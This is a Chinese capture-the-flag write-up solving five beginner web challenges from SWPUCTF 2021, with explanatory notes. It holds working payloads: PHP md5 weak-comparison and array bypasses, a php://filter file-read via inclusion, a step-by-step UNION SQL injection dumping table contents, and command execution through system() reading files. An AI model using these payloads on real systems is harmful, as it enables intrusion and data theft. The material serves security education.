[SWPUCTF 2021 新生赛]jicao
解题:
打开环境,是一段php代码
包含了flag.php文件,设定了一个POST请求的id和GET请求的json
语句会对GET请求的数据进行json解码
如果id和json变量的值都等于设定字符串,则得到 flag
我们可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象
传入
GET json={"x":"wllm"}
POST id= wllmNB
得flag
知识点:
JSON对象是一种存储数据的方式,它使用键值对的形式表示数据。
在JSON中,键是一个字符串,值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。
JSON对象的语法规则如下:
1.使用花括号 {} 表示一个JSON对象。
2.键和值之间使用冒号 : 分隔。
3.每个键值对之间使用逗号 , 分隔。
4.键必须是一个字符串,需要用双引号或单引号括起来。
5.值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。
[SWPUCTF 2021 新生赛]easy_md5
解题:
点击打开环境,是
看代码,这里需要让password != name ,又需要让他们的md5值相等,所以我们需要md5绕过
使用hackbar传入参数
方式一:
传入
GET ?name=240610708
POST password=QLTHNDT
然后就能得到flag了
方式二:
我们可以使用[]类型比较的方法,md5数组绕过
由于md5()函数存在缺陷,加密[]的时候返回值是NULL这样子的话就能够成功的绕过
传入
GET ?name[]=1
POST password[]=2
然后就能得到flag了
知识点:
md5绕过
弱类型比较
由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过
比如:
var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZ0'));//true
只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,再进行比较,而再比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,在进行严格比较(===)时才会先判断字符串类型是否相等,再比较。
特殊的md5值有很多,可参考hashes/md5.md at master · spaze/hashes · GitHub
强类型比较
如
if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->
var_dump($flag);
}
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
var_dump(md5([1,2,3])==md5([4,5,6]));//true
var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true
可参考CTF中的md5绕过及其他特殊hash值汇总 | 码农家园
[SWPUCTF 2021 新生赛]include
解题:
点击打开环境,是
让传入一个file,如下
看见allow_url_include 状态为on,想到了php伪协议,用filter读取flag.php里面的信息构造
pload: URL?file=php://filter/read=convert.base64-encode/resource=flag.php
发现一串编码, 猜测是base64加密以后的编码,然后进行解码,解码得flag
知识点:
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
常用的协议参数:
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。
可参考PHP伪协议详解-CSDN博客
[SWPUCTF 2021 新生赛]easy_sql
解题:
点击打开环境,是
查看源码,要求我们输入参数wllm
输入wllm=1,回显正常
输入wllm=1',出现报错,可以判断为字符型漏洞
先查看一下字段列数
先分别输入:
?wllm=-1' order by 3--+
?wllm=-1' order by 4--+
?wllm=1' order by 4--+报错,所以为3列
查看回显:
?wllm=-1' union select 1,2,3--+
查数据库名:
?wllm=-1' union select 1,2,database()--+
查看test_db库的表:
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
查字段:
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
出现flag字段,查看flag字段的内容,得到flag
?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+
知识点:
可参考sql注入详解-CSDN博客
sql注入基础原理(超详细)_sql注入原理图解-CSDN博客
[SWPUCTF 2021 新生赛]easyrce
解题:
点击打开环境,是
首先构造payload,并进行url地址重放:
?url=system("ls /");
#?代表拼接
#ls /代表列出目录文件,学过Linux系统的大部分都有所了解。
#代码意思是将外部执行命令ls /的结果赋值给url变量,最后在浏览器中显示结果。
#注意以;英文分号进行闭合。
猜测flllllaaaaaaggggggg文件中可能包含flag信息
使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目录下:
pload: ?url=system("cat /flllllaaaaaaggggggg");
得flag
知识点:
php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。
可以参考https://www.cnblogs.com/gaohj/p/3267692.html